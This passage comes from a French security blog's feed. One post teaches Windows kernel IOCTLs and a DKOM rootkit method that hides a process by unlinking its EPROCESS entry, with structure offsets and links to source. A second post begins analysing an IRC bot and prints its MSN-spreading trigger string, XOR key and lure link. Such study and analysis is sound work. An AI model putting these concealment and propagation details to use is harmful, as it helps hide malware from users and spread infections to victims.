/&gt;&lt;br /&gt;Cette fonction va permettre de récupérer tous ce dont on aura besoin sur l'action demandée.&lt;br /&gt;Ensuite nous allons lire le membre Parameters.DeviceIoControl.IoControlCode de la structure IO_STACK_LOCATION.&lt;br /&gt;Ce membre nous indique le "code" envoyé : celui forgé ; notre IOCTLs.&lt;br /&gt;Il nous reste plus qu'a mettre en place un switch sur ce membre, et agir en conséquence :).&lt;br /&gt;Il est aussi possible de passer des arguments, il suffit de lire le membre AssociatedIrp.SystemBuffer de la structure IRP et d'y écrire dedans.&lt;br /&gt;Ce buffer fait office de buffer d'entré et de sortie, mais ceci est propre à la METHOD_BUFFERED.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Screenshot pour la route :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kuo-yDTqvqc/R78o1dZdQpI/AAAAAAAAAFc/RZdrR-lnQA8/s1600-h/IOCTL_Buffer.PNG"&gt;&lt;img style="cursor: pointer;" src="http://4.bp.blogspot.com/_kuo-yDTqvqc/R78o1dZdQpI/AAAAAAAAAFc/RZdrR-lnQA8/s400/IOCTL_Buffer.PNG" alt="" id="BLOGGER_PHOTO_ID_5169895796134199954" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;On peut aussi à ce moment là, utiliser l'outil WinObj pour constater l'existence de notre device avec un symlink.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kuo-yDTqvqc/R78o_NZdQqI/AAAAAAAAAFk/NXJy_Z_u5WQ/s1600-h/SymLink.png"&gt;&lt;img style="cursor: pointer;" src="http://3.bp.blogspot.com/_kuo-yDTqvqc/R78o_NZdQqI/AAAAAAAAAFk/NXJy_Z_u5WQ/s400/SymLink.png" alt="" id="BLOGGER_PHOTO_ID_5169895963637924514" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ouf, vous pouvez soufler un peu, nous arrivons à la fin.&lt;br /&gt;Comme vous vous en doutez surrement, ces IOCTLs vont donc être massivement employer dans les rootkits par exemple, afin de faire communiquer le driver et l'application userland.&lt;br /&gt;&lt;br /&gt;Pas d'exemple concret?:(&lt;br /&gt;&lt;br /&gt;Mais si!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;How to hide a fucking process with DKOM (Direct Kernel Object Manipulation).&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dans cette partie nous allons nous amusez à cacher un processus au système :).&lt;br /&gt;Je vous explique un peu notre plan :&lt;br /&gt;&lt;br /&gt;- Notre application userland, va recuperer le nom du processus que l'on veut cacher.&lt;br /&gt;- L'appli va envoyer une IOCTL au driver, avec un argument : le nom du processus.&lt;br /&gt;&lt;br /&gt;- Le driver va donc recuperer le nom du processus. (c'est là que ça devient intéréssant)&lt;br /&gt;- Nous allons récupérer un pointeur sur une structure EPROCESS grâce à la fonction IoGetCurrentProcess().&lt;br /&gt;- Une fois récupérer notre pointeur, nous allons parcourir les structures grâce au membre ActiveProcessLinks qui est enfaite une double liste chainée.&lt;br /&gt;- Nous allons comparer le nom du processus récupéré avec le membre ImageFileName.&lt;br /&gt;- Si il n'y a aucune différence nous nous trouvons dans la structure EPROCESS concernant le processus à cacher.&lt;br /&gt;- A présent il nous reste juste à modifier la structure précédente et suivante afin que les membres Flink et Blink des listes chainées ne pointent plus sur la structure du processus à caché.&lt;br /&gt;On va en quelques sortes "sauter" la structure à caché.&lt;br /&gt;&lt;br /&gt;Voilà à présent je vous file 2 structures qui vont être utile dans la compréhension du code :&lt;br /&gt;&lt;br /&gt;kd&gt; dt nt!_EPROCESS&lt;br /&gt;+0x000 Pcb              : _KPROCESS&lt;br /&gt;+0x06c ProcessLock      : _EX_PUSH_LOCK&lt;br /&gt;+0x070 CreateTime       : _LARGE_INTEGER&lt;br /&gt;+0x078 ExitTime         : _LARGE_INTEGER&lt;br /&gt;+0x080 RundownProtect   : _EX_RUNDOWN_REF&lt;br /&gt;+0x084 UniqueProcessId  : Ptr32 Void     //PID du processus, à l'offset 0x084.&lt;br /&gt;+0x088 ActiveProcessLinks : _LIST_ENTRY  //ce qui nous interesse :)) à l'offset 0x088.&lt;br /&gt;+0x090 QuotaUsage       : [3] Uint4B&lt;br /&gt;+0x09c QuotaPeak        : [3] Uint4B&lt;br /&gt;+0x0a8 CommitCharge     : Uint4B&lt;br /&gt;+0x0ac PeakVirtualSize  : Uint4B&lt;br /&gt;+0x0b0 VirtualSize      : Uint4B&lt;br /&gt;+0x0b4 SessionProcessLinks : _LIST_ENTRY&lt;br /&gt;+0x0bc DebugPort        : Ptr32 Void&lt;br /&gt;+0x0c0 ExceptionPort    : Ptr32 Void&lt;br /&gt;+0x0c4 ObjectTable      : Ptr32 _HANDLE_TABLE&lt;br /&gt;+0x0c8 Token            : _EX_FAST_REF&lt;br /&gt;+0x0cc WorkingSetLock   : _FAST_MUTEX&lt;br /&gt;+0x0ec WorkingSetPage   : Uint4B&lt;br /&gt;+0x0f0 AddressCreationLock : _FAST_MUTEX&lt;br /&gt;+0x110 HyperSpaceLock   : Uint4B&lt;br /&gt;+0x114 ForkInProgress   : Ptr32 _ETHREAD&lt;br /&gt;+0x118 HardwareTrigger  : Uint4B&lt;br /&gt;+0x11c VadRoot          : Ptr32 Void&lt;br /&gt;+0x120 VadHint          : Ptr32 Void&lt;br /&gt;+0x124 CloneRoot        : Ptr32 Void&lt;br /&gt;+0x128 NumberOfPrivatePages : Uint4B&lt;br /&gt;+0x12c NumberOfLockedPages : Uint4B&lt;br /&gt;+0x130 Win32Process     : Ptr32 Void&lt;br /&gt;+0x134 Job              : Ptr32 _EJOB&lt;br /&gt;+0x138 SectionObject    : Ptr32 Void&lt;br /&gt;+0x13c SectionBaseAddress : Ptr32 Void&lt;br /&gt;+0x140 QuotaBlock       : Ptr32 _EPROCESS_QUOTA_BLOCK&lt;br /&gt;+0x144 WorkingSetWatch  : Ptr32 _PAGEFAULT_HISTORY&lt;br /&gt;+0x148 Win32WindowStation : Ptr32 Void&lt;br /&gt;+0x14c InheritedFromUniqueProcessId : Ptr32 Void&lt;br /&gt;+0x150 LdtInformation   : Ptr32 Void&lt;br /&gt;+0x154 VadFreeHint      : Ptr32 Void&lt;br /&gt;+0x158 VdmObjects       : Ptr32 Void&lt;br /&gt;+0x15c DeviceMap        : Ptr32 Void&lt;br /&gt;+0x160 PhysicalVadList  : _LIST_ENTRY&lt;br /&gt;+0x168 PageDirectoryPte : _HARDWARE_PTE&lt;br /&gt;+0x168 Filler           : Uint8B&lt;br /&gt;+0x170 Session          : Ptr32 Void&lt;br /&gt;+0x174 ImageFileName    : [16] UChar //Nom du process&lt;br /&gt;+0x184 JobLinks         : _LIST_ENTRY&lt;br /&gt;+0x18c LockedPagesList  : Ptr32 Void&lt;br /&gt;+0x190 ThreadListHead   : _LIST_ENTRY&lt;br /&gt;+0x198 SecurityPort     : Ptr32 Void&lt;br /&gt;+0x19c PaeTop           : Ptr32 Void&lt;br /&gt;+0x1a0 ActiveThreads    : Uint4B&lt;br /&gt;+0x1a4 GrantedAccess    : Uint4B&lt;br /&gt;+0x1a8 DefaultHardErrorProcessing : Uint4B&lt;br /&gt;+0x1ac LastThreadExitStatus : Int4B&lt;br /&gt;+0x1b0 Peb              : Ptr32 _PEB&lt;br /&gt;+0x1b4 PrefetchTrace    : _EX_FAST_REF&lt;br /&gt;+0x1b8 ReadOperationCount : _LARGE_INTEGER&lt;br /&gt;+0x1c0 WriteOperationCount : _LARGE_INTEGER&lt;br /&gt;+0x1c8 OtherOperationCount : _LARGE_INTEGER&lt;br /&gt;+0x1d0 ReadTransferCount : _LARGE_INTEGER&lt;br /&gt;+0x1d8 WriteTransferCount : _LARGE_INTEGER&lt;br /&gt;+0x1e0 OtherTransferCount : _LARGE_INTEGER&lt;br /&gt;+0x1e8 CommitChargeLimit : Uint4B&lt;br /&gt;+0x1ec CommitChargePeak : Uint4B&lt;br /&gt;+0x1f0 AweInfo          : Ptr32 Void&lt;br /&gt;+0x1f4 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO&lt;br /&gt;+0x1f8 Vm               : _MMSUPPORT&lt;br /&gt;+0x238 LastFaultCount   : Uint4B&lt;br /&gt;+0x23c ModifiedPageCount : Uint4B&lt;br /&gt;+0x240 NumberOfVads     : Uint4B&lt;br /&gt;+0x244 JobStatus        : Uint4B&lt;br /&gt;+0x248 Flags            : Uint4B&lt;br /&gt;+0x248 CreateReported   : Pos 0, 1 Bit&lt;br /&gt;+0x248 NoDebugInherit   : Pos 1, 1 Bit&lt;br /&gt;+0x248 ProcessExiting   : Pos 2, 1 Bit&lt;br /&gt;+0x248 ProcessDelete    : Pos 3, 1 Bit&lt;br /&gt;+0x248 Wow64SplitPages  : Pos 4, 1 Bit&lt;br /&gt;+0x248 VmDeleted        : Pos 5, 1 Bit&lt;br /&gt;+0x248 OutswapEnabled   : Pos 6, 1 Bit&lt;br /&gt;+0x248 Outswapped       : Pos 7, 1 Bit&lt;br /&gt;+0x248 ForkFailed       : Pos 8, 1 Bit&lt;br /&gt;+0x248 HasPhysicalVad   : Pos 9, 1 Bit&lt;br /&gt;+0x248 AddressSpaceInitialized : Pos 10, 2 Bits&lt;br /&gt;+0x248 SetTimerResolution : Pos 12, 1 Bit&lt;br /&gt;+0x248 BreakOnTermination : Pos 13, 1 Bit&lt;br /&gt;+0x248 SessionCreationUnderway : Pos 14, 1 Bit&lt;br /&gt;+0x248 WriteWatch       : Pos 15, 1 Bit&lt;br /&gt;+0x248 ProcessInSession : Pos 16, 1 Bit&lt;br /&gt;+0x248 OverrideAddressSpace : Pos 17, 1 Bit&lt;br /&gt;+0x248 HasAddressSpace  : Pos 18, 1 Bit&lt;br /&gt;+0x248 LaunchPrefetched : Pos 19, 1 Bit&lt;br /&gt;+0x248 InjectInpageErrors : Pos 20, 1 Bit&lt;br /&gt;+0x248 VmTopDown        : Pos 21, 1 Bit&lt;br /&gt;+0x248 Unused3          : Pos 22, 1 Bit&lt;br /&gt;+0x248 Unused4          : Pos 23, 1 Bit&lt;br /&gt;+0x248 VdmAllowed       : Pos 24, 1 Bit&lt;br /&gt;+0x248 Unused           : Pos 25, 5 Bits&lt;br /&gt;+0x248 Unused1          : Pos 30, 1 Bit&lt;br /&gt;+0x248 Unused2          : Pos 31, 1 Bit&lt;br /&gt;+0x24c ExitStatus       : Int4B&lt;br /&gt;+0x250 NextPageColor    : Uint2B&lt;br /&gt;+0x252 SubSystemMinorVersion : UChar&lt;br /&gt;+0x253 SubSystemMajorVersion : UChar&lt;br /&gt;+0x252 SubSystemVersion : Uint2B&lt;br /&gt;+0x254 PriorityClass    : UChar&lt;br /&gt;+0x255 WorkingSetAcquiredUnsafe : UChar&lt;br /&gt;+0x258 Cookie           : Uint4B&lt;br /&gt;&lt;br /&gt;kd&gt; dt nt!_LIST_ENTRY&lt;br /&gt;+0x000 Flink            : Ptr32 _LIST_ENTRY //Pointe sur la struct suivante.&lt;br /&gt;+0x004 Blink            : Ptr32 _LIST_ENTRY //Pointe sur la struct precedente.&lt;br /&gt;&lt;br /&gt;Je pense que vous êtes apte à comprendre le code fournis :).&lt;br /&gt;&lt;br /&gt;Un petit screenshot pour la route :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kuo-yDTqvqc/R78pONZdQrI/AAAAAAAAAFs/6DBy1jFmZZs/s1600-h/hide.png"&gt;&lt;img style="cursor: pointer;" src="http://3.bp.blogspot.com/_kuo-yDTqvqc/R78pONZdQrI/AAAAAAAAAFs/6DBy1jFmZZs/s400/hide.png" alt="" id="BLOGGER_PHOTO_ID_5169896221335962290" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A présent il nous reste à aborder l'application ring3.&lt;br /&gt;Celle-ci est extremement simple à comprendre/coder.&lt;br /&gt;En effet, on ouvre un handle sur notre device avec CreateFile(), nous envoyons nos IOCTLs grâce à la fonction DeviceIoControl().&lt;br /&gt;Voilà tout!&lt;br /&gt;&lt;br /&gt;Et je compile ça comment?&lt;br /&gt;&lt;br /&gt;J'ai utilisé le compilateur disponible dans le wdk.&lt;br /&gt;Seul le fichier "sources" diffère, je vous propose le mien :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;TARGETNAME=votreAppli&lt;br /&gt;TARGETTYPE=PROGRAM&lt;br /&gt;&lt;br /&gt;INCLUDES=&lt;br /&gt;&lt;br /&gt;SOURCES=VotreAppli.c&lt;br /&gt;&lt;br /&gt;UMTYPE=console&lt;br /&gt;UMBASE=0x04000000&lt;br /&gt;&lt;br /&gt;USE_MSVCRT=1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Vous pouvez dorénavant compiler l'application utilisé pour communiquer avec notre driver !&lt;br /&gt;&lt;br /&gt;Mais..cette technique n'a pas de "point" faible?&lt;br /&gt;&lt;br /&gt;Hum, à mon grand regret après avoir lus un article disponible sur le blog d'un amis (lilxam), celui-ci nous montre comment "bypasser" ce hide de process :).&lt;br /&gt;Enfin bon, je ne m'avous pas vaincus, je reviendrais avec une meilleure technique :))).&lt;br /&gt;&lt;br /&gt;Il est venus le temps de filer les codes :&lt;br /&gt;&lt;br /&gt;- &lt;a href="http://overclok.free.fr/Codes/FirstStepsRing0/Hello.html"&gt;HelloWorld.c&lt;/a&gt;&lt;br /&gt;- &lt;a href="http://overclok.free.fr/Codes/FirstStepsRing0/BSOD.html"&gt;BSOD.c&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;- &lt;a href="http://overclok.free.fr/Codes/FirstStepsRing0/HideFuckingProcess/HideFuckingProcessR3.html"&gt;HideFuckingProcessR3.c&lt;/a&gt;&lt;br /&gt;- &lt;a href="http://overclok.free.fr/Codes/FirstStepsRing0/HideFuckingProcess/HideFuckingProcessR0.html"&gt;HideFuckingProcessR0.c&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Et voilà c'est finit pour aujourd'hui !&lt;br /&gt;Encore merci aux personnes qui m'auraient filer un coup de main et toussa :).&lt;br /&gt;cya.&lt;br /&gt;&lt;br /&gt;PS : Achetez vous "Subverting kernel windows" écrit par le créateur rootkit.com, un superbe livre de chevet :).&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-3867868105815527809?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/3867868105815527809/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=3867868105815527809' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/3867868105815527809'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/3867868105815527809'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2008/02/first-steps-into-ring0.html' title='First steps into ring0.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_kuo-yDTqvqc/R78dGNZdQbI/AAAAAAAAADs/YFs0QosN0kY/s72-c/AddPortSerie.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-443835438944357855</id><published>2008-02-16T03:03:00.000-08:00</published><updated>2008-12-09T22:04:04.249-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='desassembler'/><category scheme='http://www.blogger.com/atom/ns#' term='prise d&apos;information'/><category scheme='http://www.blogger.com/atom/ns#' term='malware msn'/><category scheme='http://www.blogger.com/atom/ns#' term='naked.com'/><category scheme='http://www.blogger.com/atom/ns#' term='Apis debug'/><category scheme='http://www.blogger.com/atom/ns#' term='nmap'/><category scheme='http://www.blogger.com/atom/ns#' term='ollydbg'/><category scheme='http://www.blogger.com/atom/ns#' term='naked'/><category scheme='http://www.blogger.com/atom/ns#' term='IDA'/><category scheme='http://www.blogger.com/atom/ns#' term='analyse malware'/><category scheme='http://www.blogger.com/atom/ns#' term='analyse'/><category scheme='http://www.blogger.com/atom/ns#' term='naked0453.com'/><title type='text'>3v1l 0r n0t ? - Part II.</title><content type='html'>&lt;p style="margin-bottom: 0cm; text-decoration: none;" align="left"&gt; &lt;span style="font-size:100%;"&gt;Bonjour à tous,&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; text-decoration: none;" align="left"&gt; &lt;span style="font-size:100%;"&gt;je release aujourd'hui la seconde et dernière partie de mon analyse.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; text-decoration: none;" align="left"&gt; &lt;span style="font-size:100%;"&gt;Souvenez vous que lors du précédent article, nous nous étions arrêté à la connection sur un&lt;/span&gt;&lt;span style="font-size:100%;"&gt; serveur irc.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; text-decoration: none;" align="left"&gt; &lt;span style="font-size:100%;"&gt;Au cours de cet article je vais vous présenter rapidement les fonctions que le codeur a intégré au seins de son malware.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; text-decoration: none;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; text-decoration: none;" align="left"&gt; &lt;span style="font-size:100%;"&gt;Conseils préliminaires :&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm; text-decoration: none;" align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;/p&gt;  &lt;p style="margin-bottom: 0cm; text-decoration: none;" align="left"&gt; &lt;span style="font-size:100%;"&gt;-Cette fois-ci, l'accès au net est bien entendu nécessaire&lt;/span&gt;&lt;span style="font-size:100%;"&gt;, des outils comme Wireshark ainsi que ProcessExplorer peuvent être utiles, histoire de surveiller les threads de notre processus, et de vérifier les accès au réseau de notre programme.&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0cm; text-decoration: none;" align="left"&gt; &lt;span style="font-size:100%;"&gt;-Dans cette partie, je vous conseil de vous débrouiller afin que le malware ne se connecte pas sur le serveur « normal ». Redirigez le vers un serveur où vous le rejoindrez pour mener vos tests.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; text-decoration: none;" align="left"&gt; &lt;span style="font-size:100%;"&gt;On modifie alors les variables nécessaires, on utilise le clic droit-&gt;Follow In Dump sous OllyDbg.&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0cm; text-decoration: none;" align="left"&gt; &lt;span style="font-size:100%;"&gt;Je pense avoir à peu près tout dis.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; text-decoration: none;" align="left"&gt; &lt;span style="font-size:100%;"&gt;Place à l'analyse à présent.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; text-decoration: none;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; text-decoration: none;" align="left"&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;Pourquoi l'irc?&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; text-decoration: none;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; text-decoration: none;" align="left"&gt; &lt;span style="font-size:100%;"&gt;Cela est peut être une question que vous vous posez.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; text-decoration: none;" align="left"&gt; &lt;span style="font-size:100%;"&gt;La connection de la victime sur un serveur irc présente en fait plusieurs avantages.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; text-decoration: none;" align="left"&gt; &lt;span style="font-size:100%;"&gt;Tout d'abord, l'attaquant n'a alors aucune connection directe avec sa ou ses victimes, les serveurs où les logs sont inexistants sont donc très intéressants.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; text-decoration: none;" align="left"&gt; &lt;span style="font-size:100%;"&gt;De plus, le faite de ce connecté à un serveur irc, permet de passer outre le problème des routeurs, avec le forwarding de port.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; text-decoration: none;" align="left"&gt; &lt;span style="font-size:100%;"&gt;Enfin, dans ce genre de cas, je pense que si l'attaquant utilise l'irc c'est évidemment pour commander toutes ses victimes avec aisance.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; text-decoration: none;" align="left"&gt; &lt;span style="font-size:100%;"&gt;Dans ce cas précis, le « gérant » du serveur, utilisait un script permettant de contrôler le reseau de zombie, en envoyant à intervalle de temps régulier des commandes.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; text-decoration: none;" align="left"&gt; &lt;span style="font-size:100%;"&gt;Une commande est alors exécutée par toutes les victimes présentes sur le channel.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="text-decoration: none;"&gt;&lt;span style=""&gt;Cette « technique » est souvent utilisée pour commander des attaques de type « &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=""&gt;Distributed Denial of Service&lt;/span&gt;&lt;b&gt; » &lt;/b&gt;&lt;span style=""&gt;par exemple.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;Tr4c3 m3.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;Nous voilà repartis dans les profondeurs de notre exécutable.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;En plus de la connection à un serveur irc, on observe bien sûr plusieurs modules, comme un module de réponse au PING ( voir rfc irc ), un module permettant de rejoindre le channel si l'on été kicker etc.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;Cependant, une chose nous attire l'oeil, après avoir traité les cas précédents, on call une fonction.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;Le mystère est alors entier.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;On trace, on trace, c'est alors que nous remarquons deux choses intéréssantes.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;On va pusher une chaîne de caractères, notre buffer ( découpé par une routine bien evidémment ) et bien sûr un call à la fonction strstr() disponible dans la librairie string.h.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;Mais que cherche t-il a faire?&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;C'est pourtant très simple, ceci est une façon de commander la victime présente sur le channel.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;En effet dans le premier cas, on « déclenche » une fonction si l'on trouve la chaine « òÿööõ ».&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;Chaine1 :  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;              db 0F2h  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;              db 0FFh&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;              db 0F6h  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;              db 0F6h  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;              db 0F5h  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;   db 0&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;Intéressons nous à cette routine.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;A fucking Thread&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Comme toujours nous traçons, nous traçons.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Cette routine est plutôt longue et assez complète c'est pour cela que j'en parlerai brièvement.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;On va donc au début de cette routine effectuer un test, en ce qui concerne la langue utilisée sur le système corrompu, afin de pouvoir sélectionner un message qui sera en accord avec la langue.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;On commence déjà, a sentir ce qui nous attend.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Plus bas,nous arrivons sur la routine qui va se charger de « manipuler » msn, afin de se propager en envoyant un message contenant un lien, aux adresses contenues sur le compte de la victime.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;On aperçoit ensuite un appel à CreateThread(), serait-ce le thread qui va se charger de manipuler msn?&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;On va bien sûr poser un breakpoint sur le début de la routine afin de pouvoir l'analyser.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;En traçant, on observe des chaînes de caractères qui nous ne sont pas méconnues, comme : « C'est pas toi??!!! ».&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;On peut supposer que ces messages correspondent à ce qui sera envoyé aux contacts.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Bon, on comprend aussi que le malware va utiliser la COM library pour corrompre msn, les appels aux fonctions CoInitialize() et CoCreateInstance() nous confortent donc notre analyse.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Après de multiples actions, on va formater une chaîne de caractères composée du message dans la bonne langue, ainsi qu'un lien, afin de faire télécharger un exécutable à la victime.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style=""&gt;On peut donc « personnaliser » ce lien, il suffit d'appeler la fonction avec la chaine de caractères &lt;/span&gt;&lt;/span&gt;&lt;span style=""&gt;: &lt;/span&gt;&lt;/span&gt;« òÿööõ »&lt;span style="font-size:100%;"&gt;&lt;span style=""&gt;  suivit d'une url xorée avec la clé 196.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Exemple :&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;Les messages que nous recevons sont du type : &lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;« C'est pas toi?!!!!http://membres.lycos.fr/photoos2008/?=votreadressemsn »&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;La commande envoyée par l'attaquant est donc : &lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style=""&gt;« &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style=""&gt; òÿööõ 